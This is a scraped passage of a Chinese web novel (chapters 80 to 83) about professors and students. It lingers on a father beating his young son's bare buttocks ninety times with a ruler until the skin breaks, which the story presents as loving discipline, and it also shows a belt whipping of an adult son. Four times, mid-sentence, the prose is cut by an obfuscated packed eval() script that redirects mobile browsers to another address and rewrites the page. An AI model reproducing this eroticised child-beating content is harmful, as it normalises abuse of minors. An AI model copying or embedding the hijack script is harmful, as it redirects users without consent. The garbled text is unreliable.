“放心吧,爷爷不许别人打苗苗。” 80.第 80 章 庄苗苗小朋友留在爷爷家吃晚饭了。爷爷奶奶你一筷子我一筷子地给孩子夹菜,把小碗堆得高高的,一粒米都看不见,全是肉。 “苗苗吃,多吃点,”奶奶不等苗苗吃完又给夹上,碗里盛不下了就拿个小碟放在旁边,“这小胳膊瘦的呀,奶奶心疼。” 庄禾风没多大胃口,一想到等会要回家就害怕得拿不稳筷子,好容易才咽下一块粉蒸肉,眼瞅着就要掉金豆豆了。纪慎眼神示意,无声地催促他快吃。庄禾风扁着嘴,夹起了一根豆芽,突然“叮铃铃”的电话声响起,那根豆芽一抖,落在桌面上了。 纪慎无奈地摇摇头,起身去接电话。奶奶夹走那根豆芽,安慰道:“没事没事,奶奶给你夹。” 碗里又多了一筷子豆芽,庄禾风却没注意,只盯着爷爷看,看爷爷拿起了电话,下一秒,不祥的预感就成了真。 “遂平啊,什么事?”纪慎一歪头,对上了孩子的目光,“苗苗还没回家?放学了吗?会不会放学晚了?你别急啊,我去找,肯定找得回来……” 奶奶自然也听到了,手指往小孩脑袋上一撵:“让你爸操心了吧?看回去不打你屁股!” 似乎是想到了挨打的凄凉景象,庄禾风鼻子一酸,两行泪直直淌了下来。 “别哭了,赶紧吃,吃了送你回去。”才哭一会,爷爷就挂了电话回来了。 庄禾风不应声,埋头“哐哐”吃。 回家的路上,庄禾风一直牵着爷爷的手,不说话也不哭,只是心里七上八下的,不知道爸爸要怎么教训他。爷爷家和他们家就隔几栋楼,他平时一个百米冲刺就到了,经常在家里吃了饭又跑到爷爷家里,叫爷爷给他买糖葫芦冰棍和酸奶。可今天,他只希望这段路能长一些,再长一些,最好他回到家爸爸已经睡了。 可偏偏,今天回来得格外快,比他自己百米冲刺还要快,到了楼底下,屁股两团肉已经开始一跳一跳的了,腿软得连楼梯都上不去。 “爷爷……” “怎么了?” “我害怕……”浓浓的哭腔,听了就叫人心疼。纪慎叹声气,弯腰把孩子抱起来,一步步上楼去了:“苗苗不哭,不怕不怕,爷爷不让爸爸打你。” “可是爸爸肯定会打我,我不想回家……” 纪慎一边哄着小孩一边在心里把庄遂平骂了个狗血淋头,怎么能老是打孩子呢?看把孩子吓得! 但是他这样骂庄遂平的时候大约不会想到自己曾经是如何逼迫学生到宁可退学的。 庄禾风在爷爷怀里给自己的屁股死亡倒计时,眼看着自己家的大门近在眼前,他自欺欺人地埋头进爷爷怀里,死死抱住了爷爷。 纪慎无奈地把孩子往上托了托,抬手敲门。不过一会,门就打开了,庄遂平一脸平静:“老师。” 纪慎方才在电话里说了点无伤大雅的假话,此刻却有些心虚,没有说话,径直抱着孩子进了屋。 庄遂平脸上没有一点着急,如平时一般关上门,给老师倒了水:“辛苦老师带苗苗回来。” 庄禾风还缠在爷爷身上,根本不肯下来。纪慎也没办法,掩饰道:“刚刚你挂了电话,苗苗就上我那儿去了,我就让他吃了饭再回来。” 庄遂平笑笑,坐下,很放松的样子:“苗苗,吃饱了吗?” 纪慎赶紧拍了拍小孩,让他说话。庄禾风抖了两抖,弱弱出声:“饱、饱了。” 也许是爸爸的压迫感太强,庄禾风纵然想躲,却没那个胆子,慢慢地从爷爷怀里探出头来,不出意外地对上了爸爸锐利的目光。 “现在要做什么,不用我教你吧。” 纪慎的衣摆明显被拽了一下,不是苗苗故意的,是被吓得。 “遂平,你别这么吓他。” 庄遂平低头,自嘲地笑了下,再抬头,却只是淡淡的:“老师以前不是这样教我的。” 纪慎差点没被他噎死。 没办法了,纪慎轻轻地拍了拍小孩,让他该干什么就干什么。庄禾风早就知道爷爷的不可依靠,也并未失望,只是哆哆嗦嗦地从爷爷身上下来,慢吞吞往房间去了。 “遂平,他很怕挨打。” “作弊、不按时回家、试图逃罚,老师觉得哪一项不该打?” 纪慎叹息:“作弊的事我打过他了,你就……要不是你的要求那么高,他怎么会想着作弊?” “老师,这不是作弊的理由。” 其实庄遂平有点固执,但是纪慎又知道,这里头少不了自己的影响。当初那个毛头小子孤注一掷来到这里的时候,他并不是一个好老师,过分的严厉和苛责多少扭曲了他的心理,也影响了他现在对苗苗的教育方式。 “遂平,他还小,别打那么重,他会恨你的。” 话音刚落,纪慎就看见苗苗手里捧着把乌黑的戒尺站在房间门口,过了会才抬脚走来。庄禾风小时候的竹板子上了小学之后就报废了,换了现在这柄戒尺,戒尺是木质的,比竹板子厚实沉重,常常第一尺下去,就能疼得他“哇”一声哭出来。 “爸爸。”庄禾风走到爸爸身旁,怯怯地将戒尺递出去一点。庄遂平面无表情地接了。 庄禾风手上一轻,抿着唇,走到沙发扶手边上,边流眼泪边扯了裤子,身体往下一趴,摆出了挨打的姿势。 白皙的屁股高高地撅在沙发扶手上。 爷爷那几下真是拍灰,现在已经一点痕迹都没有了。庄遂平拿着戒尺起身走来,站在小孩身侧。 庄禾风余光可以看见爸爸的脚,甚至可以想象出爸爸站立的姿势,戒尺高举的动作,还有戒尺破风的声音,“啪”地抽在屁股上的炸响和剧痛……还没开始打,庄禾风就哭出了声。 但是爸爸没有一点心疼,如他所想象的一般,高高举起戒尺,对准臀尖,七八分力抽了下去。庄禾风惊惧之中遭了这一清脆的疼痛,“啊”地哭叫起来:“爸爸我知道错了!” 戒尺一下接一下责打在他干净白嫩的屁股上,庄禾风不敢动,只是哭:“呜呜呜啊爸爸我知道错了!爸爸我再也不敢了!爸爸!” 不过哭叫几声的工夫,屁股上已是一片鲜红,从臀尖蔓延至臀腿,没有一处放过。戒尺结结实实地落下,每一下都掀起一阵火辣辣的剧痛,如同热油泼皮,千针穿刺。庄禾风不过八九岁,哪里挨得住这样的责打?知道叫爸爸没用,转而哭喊起了爷爷:“爷爷救我!爷爷救救苗苗!啊!!好痛!啊我的屁股!爷爷!呜呜呜……救命爷爷!” 纪慎看不下去,心虚地扭开了头,倒是庄遂平仍旧冷着脸,如同一台无情的施罚机器,几乎每两秒就落下一尺,重重责打在小孩早已通红泛紫的屁股上。 要是认真数,怎么的也打过了三十下,庄禾风哭得一脸泪,连声音都有点哑了,可戒尺还没有停下的意思,甚至没有放一点水,还是那样“啪啪啪”的,将两团肉打得更加高肿。 “爸爸!我不敢了!我再也不敢了!求求爸爸不要打了!呜呜呜……爷爷,爷爷救我啊!救命!!” 孩子哭得太惨,纪慎实在听不下去:“遂平,你……” 庄遂平抬眸,轻飘飘地看了一眼老师,却问小孩:“苗苗,告诉爷爷,该打多少?” 庄禾风终于得了片刻喘息之机,哭道:“打、打九十下。” 换了戒尺以后,一桩错是三十下,他作弊在先,逃罚在后,让爸爸妈妈担心,自己犯了哪些事清清楚楚,根本不用教。 “已经打了多少下了?” “打了四十六下了。” 纪慎一听,竟然还有一半,孩子的屁股都泛紫了,就非要把这九十下打完吗?庄遂平一眼就知道老师在想什么,又问:“苗苗,剩下的还打不打?” 庄禾风几乎是绝望地哭了出来:“打、打!” “老师,您听见了!” 纪慎火大,听见有什么用?这孩子平时被吓成什么样可想而知,再这么打两回,以后可真当不成父子了!可他的话一句都还没出口,那柄乌黑的戒尺又“啪啪啪”地抽了下来,和小孩“呜呜呜哇哇哇”的哭声形成了奇妙的二重奏。 说也奇怪,庄禾风怕极了挨打,一疼起来哭得爹妈都不认得了,可屁股高撅的姿势却没有变过,硬生生挨完了整整九十下戒尺。打完的时候,整个屁股都泛着淡淡的紫色,皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15048859|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉下一点一点的血痧,臀尖处甚至破了皮,庄禾风嚎啕大哭,那声音让人心颤。 纪慎赶忙上前抱了孩子哄着,幸而吃了饭,还不至于脱力,可哭到最后,庄禾风也筋疲力尽,沉沉睡了过去。 挨了打,第二天照常上学。屁股肿着,上课很难受,尤其是体育课,男孩子要面子,不想给人看出来,硬是撑着又跑又跳,等下了课,在没人看到的角落里偷偷抹眼泪。 放学后,庄禾风又上爷爷家去了。纪慎见他眼眶红红的,心疼得不得了,忙问他怎么了。庄禾风擦擦眼睛,说:“我不敢回家,爷爷带我回家。” 纪慎心头被捏了一把,二话不说就把孩子抱起来往家里去了,一路上轻声细语地问他疼不疼,难不难受,庄禾风只是点头摇头,眼泪流个不停。 家里爸爸妈妈都没回来,庄禾风不肯下来:“爷爷抱我回房间。” 纪慎只好将他抱回房,让他上床趴着,细细地上了一回药,一直陪着,等妈妈到家才走。 此后多日,庄禾风都是这样回家的。 自那日爸爸打了他,父子俩没有好好说过话,现在庄禾风一见到爸爸就哆嗦,不敢抬头也不敢说话,能躲在房间就躲在房间,门一关就自己哭。 过了七八日,他的伤好了许多,上学不难受,也不用上药了。可是他还是怕爸爸,晚饭匆匆忙忙吃完就躲回房里去了,按亮台灯写作业,生字词抄了一点点就忍不住哭。 不知道为什么,身上不疼了,也没人骂他,可他就是想哭。 快要哭出声了,他就咬住袖子,强撑着。 往常都没人理他的,可今晚才哭了一会,就有人敲门了:“苗苗。” 是爸爸的声音。庄禾风一抽泣,忙抹了眼泪,尽量用正常的声音问:“有什么事?” “开门。” 庄禾风又抹了两遍眼泪,吸吸鼻子,感觉应该看不出来哭过才去开门。门一开,也只有一道缝,他顺着门缝看见爸爸,怯怯问:“爸爸,有什么事吗?” “让爸爸进去。” 庄禾风没办法,只得打开门,让出位置来。 庄遂平进了孩子的房间,拉了张椅子坐在书桌旁,问:“写作业?” “嗯。”庄禾风点了点头。 庄遂平招招手:“过来。” 庄禾风低着头,强忍着眼泪朝爸爸走过去,离爸爸还有一步的距离他就停住了,可过了一会儿,爸爸却伸手一拉,将他拽了过去。 他撞上了爸爸的胸口。 眼泪再也忍不住,“啪嗒啪嗒”往下掉。 “哭什么?” 有点无奈,却没有厌烦,庄禾风这些天所有的委屈、恐惧和不安都化作泪水喷薄而出,不一会儿就打湿了爸爸的胸膛。 庄遂平叹声气,将孩子抱到自己腿上坐着,道:“小时候就爱哭,长大了还爱哭,青青知道了肯定笑话你。” 庄禾风现在才顾不上别人笑不笑话他,重要的是爸爸没有讨厌他,爸爸没有因为他作弊就不要他。知道了这个,庄禾风什么也不怕了,两手抱住爸爸的腰,“哇哇哇”放声大哭。 庄遂平摸着孩子的脑袋,轻声道:“以后放学了自己回来,爷爷年纪大了,身体不好,不能天天抱着你上楼下楼的,知不知道?” 庄禾风一边哭一边点头:“我、我害怕……” “不怕,苗苗不犯错,爸爸不会打苗苗的。” “我怕爸爸不要我了,我让爷爷送我回来,爸爸就不会赶我走了呜呜呜……” “胡说,爸爸怎么会不要苗苗?苗苗犯错了爸爸会教训苗苗,可那是因为爸爸不希望苗苗做错事,不是因为爸爸不要苗苗了。” “呜呜呜……” “快别哭了,苗苗好好写作业,等星期天,爸爸带你去公园坐鸭子船,再买糖葫芦吃,嗯?” “呜呜呜……”庄禾风拼命点头,可眼泪就是止不住,哭得嘴唇都充血红肿了,跟香肠似的。 庄遂平拿他没办法,只得温声细语哄了半日,终于让他消停下来。等不哭了,又陪着他写了作业,父子俩一块洗了澡,深夜才安稳睡去。 81.第 81 章 姜新宇一大早就躲到爷爷家去了。他爷爷和奶奶都是民国时期的知识分子,学校的教授,年纪一大几乎桃李满天下,常常有人来请教问题或是单纯看望两位老先生,家里热热闹闹的。最近出了这样的事,众人不提就当作没发生,可是姜新宇往那儿一坐,谁都不大自在,连笑容都僵僵木木的。 姜新宇这几天都呆呆的,可以一个上午保持一个姿势不动也不说话,好像终于缓过劲来了,知道发生什么了,但是也没有办法了。 两个中年男人喝了一回茶,目光一对,准备起身告辞,却被门口的声响吸引了,原来是姜父怒气冲冲地过来了。他们站起身,正要出声问好,却见姜父径直越过他们,一把将沙发上的姜新宇揪起来甩到地上。 众人均是一骇,姜家爷爷拐杖敲了两下地板:“你这是干什么?!” 姜父还算平静地回答:“我教训他。”说罢,解开腰间的皮带扣,顺时针一抽,两指半宽的漆黑皮带就如同长蛇一般缠上姜父的手掌,余下半截在空中虚影一晃,“啪”一声抽在姜新宇身上。 那两个外人见了,不知该不该拦,你看我我看你,只觉尴尬极了。 皮带扬起落下,屋里“啪啪啪”地响,姜新宇侧躺在地上蜷成一团,两手抱着头,动也不动,任由父亲责打。姜家爷爷见儿子打了好几下,便开口道:“行了,打几下就成了!” 那两个男人忙跟着附和道:“是啊,到底是孩子,不懂事,打几下,他知错了就行。” “是啊是啊,别把新宇打坏了。” 姜父卷了卷皮带,轻笑一声:“他还是孩子?他比柏阅冬还大一岁!柏阅冬瞎了一只眼了,他几下皮带都挨不得?!”说罢,高高扬起皮带,又是一阵“噼里啪啦”的抽打,皮带如同雨点,猛烈而急促地落在姜新宇的腰上、臀上、腿上,姜新宇大抵是疼得紧了,越蜷越紧,直到最后,像一个球。 眼看着皮带落了二三十下,其中一个男人一跺脚,上前抓住了姜父:“你打新宇有什么用?既然那个什么柏阅冬瞎了眼了,赔他点钱,帮他安排好工作,也不算亏欠他了,真要把新宇打坏了,伤了父子和气,这才不值!” 姜父气急反笑:“是啊,我打死他也没有用了,柏阅冬瞎都瞎了,还能怎么样?” 随着紧握皮带的手渐渐卸去力道,眼前那个蜷成一团的人也缓缓放松,渐渐抖动起来,像是哭了。 “还不快扶孩子起来!”姜家爷爷喝道。 姜父没动作,那个拦住他打人的男人上前一步,弯腰要扶,却被姜新宇推开了。姜新宇哭着爬起来,衣服皱皱的:“我不是想弄瞎他的。” “我只是……我们在打架,他打我了,我反击而已!我不知道他瞎了!” “谁知道他怎么瞎的?搞不好是他自己弄的,栽赃嫁祸给我!” 一屋子的男人都被他说愣了,一时间谁也没有作答,只有他边哭边道:“我不是要弄瞎他的,我也……我也很害怕……我第一次知道人会这样瞎掉……我也不想的……” 客厅里四双眼睛直勾勾地盯着他,他一一看过去,却突然笑了,猛地转身,跑了出去。 他一直跑一直跑,穿过大半个宿舍区,跑到了严先生家门口,“砰砰砰”地敲门,一直敲一直敲,直到刘巍思一脸不耐烦地打开门。 对视的那瞬间,两个人都愣了,脸上没有表情。 “我来找老师。” 刘巍思退开两步,让他进了屋。严先生就在客厅,看见来人,不由得叹了声气:“坐吧。” 姜新宇坐在了严先生身旁。 刘巍思见老师没有发脾气的意思,不知怎么的有点不舒服,放在门把上的手紧了紧,道:“老师,我去医院看看阅冬。” 这个时候提起阅冬,总有种向老师表明态度的意思——在这件事上,姜新宇是永远的罪人。 严先生没有阻拦,点点头:“去吧,早些回来。” 刘巍思走了好一会儿,严先生才问身边的学生:“你怎么想的?” 姜新宇又蜷成了一团,好像很冷的样子,喃喃道:“如果,瞎的是我,就好了。” 严先生缓缓地拍拍他的背,没有说话。 刘巍思出了家门,没地方可去,干脆真去医院看柏阅冬。但到了医院,才看见秦昭阳一个人孤零零地站在走廊,病房里又传出柏阅冬的哭声。 他这段时间听了太多阅冬的哭泣,已经很难再有大的情绪波动了。 刘巍思上前,唤了一声:“秦老师。” 秦昭阳明显愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053810|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才抬头:“巍思你来了,阅冬他父母从国外回来,一家人都哭得厉害。”说着,往旁边走了几步,到人少的地方说话。 刘巍思跟着,心想,秦老师的背影比从前佝偻了一些。 “秦老师,阅冬的父母怎么说?” “想带他出国,阅冬不肯,哪里也不肯去。昨晚医生说等眼睛的伤口都愈合了就能出院,他马上就尖叫……”秦昭阳蓦然红了眼眶,却笑了,“是不是很任性?” 刘巍思答非所问:“秦老师,辛苦了。” 秦昭阳抬手捂住眼睛:“他是我、是我第一个研究生……我……巍思,我不是一个好老师……” “不是的,秦老师,我们都知道,您对阅冬,是竭尽心力的。” “但是我,我没有保护好他,我对不起他,对不起他父母……他才二十一岁,他还那么小,辰辰还不知道……其实我不是没想过他和辰辰……可是我还没有来得及说……” 照顾柏阅冬这么久,秦昭阳的情绪也很复杂,柏阅冬至少可以想哭就哭,想骂就骂,可是他要冷静得体耐心包容……这简直耗尽了他所有的力气。 “秦老师……”刘巍思唤了一声,却说不出一句安慰的话。 秦昭阳很快反应过来自己的失态,抹了一把脸,又恢复了往日的笑容:“晚亭我已经转给纪老师了,之后学校的事我做不了太多,都要让纪老师和严老师分担了,严老师年纪大了,我也很不好意思……” “别说这样的话,秦老师,学校会安排好的,您别担心。” 秦昭阳点了点头:“你懂事,严老师省心。你再等会,等阅冬不哭了你再进去瞧瞧他吧。” 柏阅冬一哭就是近两个小时,见到父母哭得比往常厉害些,护士又来换药。刘巍思在外面等了好久才进去和他说话。 柏阅冬的母亲穿着时髦的貂领皮衣,提一个精致的方形皮包,烫着卷发,她的丈夫则穿着剪裁修身的西装,踩着锃亮的皮鞋,梳三七分头,整整齐齐,一丝不苟。刘巍思和他们打了招呼,他们就出去了。 因为柏阅冬说什么也不肯走,他们的生意又都在国外,只得一再拜托秦昭阳代为照顾孩子,又是留钱又是留电话的,叮嘱了一大堆。秦昭阳自然不会推辞,所有的事情都一并应下了。 82.第 82 章 周三下午学院老师又开会了,其中一件很重要的事就是把肖晚亭从秦昭阳门下转到纪慎门下,纪慎无可奈何地多了一个学生。 但是事情还远不止于此,秦昭阳转走肖晚亭,也就意味着今后至少一两年都无法正常进行学院和学校的工作。 “咱们今年古代文学的研究生还多招了一个,但是昭阳肯定不会招生了,”童院长看向纪慎,“纪慎,你的学生恐怕要越来越多了。” 纪慎尴尬地笑笑,看向一旁的严先生:“这不是还有严老师吗?” 童院长却叹声气,沉声道:“学校的意思是,出了这样的事,煦和暂时不要招生了。” 严先生怔了片刻,没有什么表情,纪慎却大惊失色:“这是什么意思?童院,这件事跟严老师没有关系。” 严先生摆摆手,制止了纪慎,冲童院长道:“我明白,新宇是我的学生,他出了事,我要负责。只是,新招进来的学生,怎么安排呢?” “煦和,你能理解就好,学校、学院都很无奈,没有任何处理,以后有人追究起来,事情会更麻烦。至于新进的学生,我来带。” 童院长虽然是做文献的,但古代文学和文献关联甚大,况且以童院长的资历和声望,愿意带研究生,不知多少学生趋之若鹜。 严先生放了心,点点头,喃喃道:“那就好,那就好。” 一个下午的会开完,纪慎筋疲力尽,闷闷不乐,还得安排学生聚餐——毕竟是新进了人,郑旭也快要毕业了,干脆一块庆祝。 北方已经春回大地,老人小孩都脱下了厚重的大棉衣,换上了轻薄一些的外套,白天晚上出来遛弯的人多了许多,路上相熟的笑着打声招呼,便牵着自己的狗或提着鸟笼继续大步前去。饭店酒馆里坐满了人,一家人、三两好友,点几个菜,喝二两酒,说说工作和生活,化作笑声和叹息。 热闹的饭店大堂里,纪慎和学生们坐了两张方形小木桌拼起来的长桌,清蒸鱼、小炒肉、白灼虾、手撕包菜……菜一盘盘送上来,待老师动了筷,学生们便抓起筷子夹菜进碗里,就着面前的白米饭大快朵颐。 纪慎不大沉迷于口腹之欲,尝了几口就放下筷子了,道:“今天开始,肖晚亭就是我的学生了,你们在一个师门里,相互照顾,特别是盛超,你们两个一届的,有什么可以一起讨论学习,实在解决不了就来找我。” 盛超点点头:“好的,老师。” “还有郑旭,今年毕业了,我这就当是给你庆祝了。” “谢谢老师,我毕业了也会常回来看老师和各位同门的。”郑旭拿起杯子,刚想说大家干一个,却在环视时瞧见庄遂平耷拉着脑袋,不动筷也不说话,有些奇怪,“遂平,怎么不吃?不合胃口?” 郑旭这一问,大家的注意力都转移到了庄遂平身上。在众人的注视下,庄遂平讷讷地抬起头,缓缓摇了摇。 “遂平怎么了?没休息好?” 庄遂平没回答,盛超却笑了,说:“郑师兄还不知道吧?庄师兄已经搬去老师家里住了,应该不会休息不好吧。” “真的假的?”郑旭看向老师,笑道,“我还是头一回见老师对别人这么上心。” 纪慎精神压力大,见了庄遂平的样子更加恼火,偏生不能在这种场合发作,只白了郑旭一眼:“行了,赶紧吃,吃完回去!” 郑旭不敢再问,忙低头吃饭去了。 众人散去时天幕一片漆黑,只有路灯照破几处黑暗,纪慎和庄遂平一前一后走着,谁也没有说话。进了屋,庄遂平默默换鞋,回房去了。 纪慎不耐烦地瞥了他一眼,径自做自己的事去。 庄遂平搬进来也有一些日子了,纪慎再难受也得慢慢适应。好在庄遂平什么话也不说,省了他许多事。可是这一晚,纪慎在书房里审几篇学报的投稿,一看就到半夜了,正准备回房睡觉,却在走出书房时看见从客卧门口底下漏出的一段昏黄灯光。 庄遂平没有睡。 纪慎有点奇怪,印象中庄遂平都是很早睡下的,怎么这个点了灯还亮着? 轻轻地往客卧门口走了两步,纪慎听见里头隐隐约约的响动,似乎还有咳嗽声,于是抬手敲门:“庄遂平,你在干什么?” 里头的声音蓦然停了,纪慎更加确定他没睡:“开门!” 没有动静,好像里头的人突然静止了。纪慎没有耐心,道:“我进去了。”说罢,拧转门把,推开了门。 房里没有开大灯,只亮着一盏床头灯,昏昏黄黄,照着那个缩在床角的身影。 本来是很怯弱的眼神,可是却瞬间变成了痛苦,同时身体往床边一倒,“呜哇哇”地干呕起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065626|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他什么也没吃,吐不出来任何东西。 纪慎眉头越皱越深,等他不呕了,上前抓住他的衣领,问:“你怎么回事?” 庄遂平两边眉毛都紧紧蹙起,额心压出一道深深的纹。他看着近在咫尺的老师,满是茫然,苍白的嘴唇一动一动:“我不知道。” “你想怎么样?” 庄遂平眨眨眼,眼眶一下就红了,嘶声道:“退学,我想退学。” 纪慎把他推回床上:“就因为我打了你几次?” 就因为我打了你几次。 庄遂平把这句话在脑子里过了两遍,突然笑了起来,咧起的嘴角在通红的眼眶下显得异常凄厉,几乎把纪慎吓住了。 “您也被打过,对不对?” 纪慎没反应过来,可是庄遂平根本不需要他回答,自顾自道:“您被打的时候,也会被羞辱吗?也会被厌恶的眼神审视吗?也会感到没有出路的绝望吗?” 纪慎当然被打过,但是他仍然觉得庄遂平描述的是一种他从未见过的场景。他小时候被父亲打,读书时被老师们打,可是他挨打常常伴随着其他人的求情和调侃,责打更多是父亲和老师们对他无可奈何的表现。 他像柏阅冬那么大的时候,整个学院的老师都管他叫纪公子,简直风流得不得了,怎么会和庄遂平口中的那些词联系在一起? 羞辱、厌恶、绝望。 但是这样的情绪,就是庄遂平感受到的全部。 “我知道,我选择来读研究生,只是一场孤注一掷的自我放逐。我下了很大的决心,要改变我的一生,要寻找我的价值,但是,这一切都毁灭了,这一场以寻找自我价值为目的的旅程,最终证明了我没有任何价值。我的所有放弃和努力,都是不自量力。” “离开这里,我就再不会有什么执念了,我就再不会羡慕巍思和阅冬了,也不会再期待什么不切实际的关心和宠爱……不会再觉得我会和您有什么不一样的关系……不会再梦到所有人看着我挨打……什么都不会了……” “我好恨,我为什么要到这里来?如果我当初愿意自欺欺人地过完这一生,其实也不会比现在更坏……至少我不会知道原来世上是有人可以那么幸福的……” 纪慎断断续续听了一下,只觉得胸口发闷,没有出声安慰一句,转身走出了卧室。 83.第 83 章 第二天一早,庄遂平走出卧室,餐桌上已经摆好了早餐,豆浆、小笼包,一如既往。纪慎坐在桌旁,见他出来,平静道:“来吃早饭。” 这天早上纪慎的妻子也在。那是个比纪慎小好几岁的妇女,一团乌发盘在脑后,整整齐齐,安安静静。庄遂平住进来以后,见了好几次这位师母,但他们很少交流,庄遂平对她甚至没有称呼,而她也并不在意。 庄遂平走过来,沉默着拉开椅子,拿起筷子夹了一个小笼包,没有沾醋,直接塞进嘴里——果不其然,反胃的恶心感立刻涌了上来。 他放下小笼包,重复了昨晚那句话:“我想退学。” 那对夫妻都没有过大的动作或神情,似乎庄遂平退学完全在他们意料之内。 但纪慎不可能同意,深呼吸,尽力压下自己的各种情绪,指指客厅那张小桌子道:“有个东西,是给你的。” 因为客厅摆满了书架,那张充当茶几的小桌子在其中显得异常可怜。庄遂平扭头看了一眼,觉得自己就跟这张小桌子似的,在这里格格不入,随时会被压垮。 “我想退学。” 纪慎“啪”一声将筷子拍在桌上:“你听不懂我的话是不是?” “他听得懂,”妻子蓦然开口,“他只是和沅沅一样,恨你。” 纪慎眼角一紧,脸上咬肌一动一动的:“他是他,纪沅是纪沅。” “他恨你,沅沅也恨你。”妻子说完,根本不管他如何回答,径自起身,将面前的碗和筷子往厨房一丢,提包出门去了。 纪慎看向庄遂平,不知道想起什么,突然抬手扶住了额头。 沉默了一阵,纪慎也吃不下了,叹声气道:“我出去了,你自己想吃就吃,不吃就收了。” 倒不是纪慎不愿意和庄遂平呆在一起,实在是多事之秋,他也忙得脚不沾地,今天要了解肖晚亭的学习进度,明天要填柏阅冬事件的各种材料,后天要开学院的招生会,总之一堆事情,一刻也别想闲着。 纪慎一出门,庄遂平再次尝试吃一个小笼包,发得哏啾的面团,带汤汁的肉馅,印象中是巍思还是阅冬喜欢吃来着,大概是巍思吧,阅冬是南方人,不大爱吃面食。 吃了小半口,庄遂平就犯恶心了,正想回房躺着,却看到小桌子上那个长形的盒子,鬼使神差地走了过去。 深棕色的扁长木盒,轻轻一掀就开了,里面躺着一柄乌黑戒尺,尺上刻着一株金黄色的麦穗,尺尾坠着绿色的流苏。 庄遂平取出戒尺,放在眼前细细打量,忽然想起了柏阅冬那一柄,那柄刻的是半棵柏树,当时刘巍思还说,这就是纪老师的审美。 想到阅冬瞎了的一只眼,庄遂平慢慢红了眼眶,半棵柏树竟然一语成谶。 他把戒尺放回盒子里,没打算拿,可是不知怎么的,小笼包的香味竟然飘了过来。 也是这一天,这春光明媚的一天,秦嘉辰回来了。 这个学期开学时,她为了写毕业论文,去外地的图书馆查阅资料。虽然在外面也常常打电话回家,但隔着十万八千里,也根本不知道学校是如何天翻地覆的。 等她回来,发现一切都不对劲了。爸爸没有回家,问妈妈,妈妈支支吾吾,打电话到办公室,没人接。而且,她找不到柏阅冬了。 她握着电话听筒,拨了严先生家的号码。 “刘师兄吗?我是秦嘉辰。” “秦嘉辰?等、等一下,你、你回来了?” 秦嘉辰心“扑通扑通”地跳,为什么刘巍思的声音在颤抖?为什么听上去,他很不希望我回来? “我想问一下,柏阅冬去哪里了?” “我、我不知道……” “那庄师兄呢?” “遂平他去纪老师家里住了。” 秦嘉辰完全可以肯定,柏阅冬出事了。他们三个那么要好,刘巍思对庄遂平的踪迹如此清楚,却说不知道柏阅冬去哪里,这不可能。 “他出事了,是不是?” 电话那头是很长很长的沉默。秦嘉辰扯着卷曲的电话线,慢慢地淌下了眼泪。 “我知道他出事了,刘师兄,你告诉我,我想见见他。” “嘉辰,”刘巍思罕见地叫了她一声嘉辰,“别见了,他不会想见你的。” “那你告诉我,他怎么了?” “我不能说,我答应过他,不会告诉你的。” 秦嘉辰吸吸鼻子,强忍住哭腔,道:“刘师兄,其实他出了事,我去你们学院问问就知道了,但是,你希望这样吗?你希望我从无关紧要的人嘴里听到关于他的事情吗?别人只不过拿这些事当茶余饭后的谈资,你希望别人对着我兴致勃勃地说起他的事情吗?” 电话那头再次陷入了沉默。 “无论是什么,都告诉我吧。” 又是长久的沉默,但刘巍思的声音终于缓缓传来:“我只能告诉你,他在哪里。” 秦嘉辰出现得猝不及防,别说柏阅冬,就连秦昭阳都愣了,倒是柏阅冬,在看见女孩的一瞬间立刻掀开被子,严严实实裹住了脑袋。 秦昭阳看着女儿好一阵,又心虚地瞟了病床一眼,问:“你、你回来了?” 其实秦嘉辰还不知道柏阅冬怎么了,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079843|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才见他动作迅速,心想大概不严重,平静道:“我来看看师兄。” 秦昭阳心更慌了。他不能确定秦嘉辰到底知不知道发生了什么,也无法预测这两个孩子将来的走向,一句话也不敢说。 秦嘉辰上前一步:“师兄。” 病床上米白色的一团轻轻抖动着。 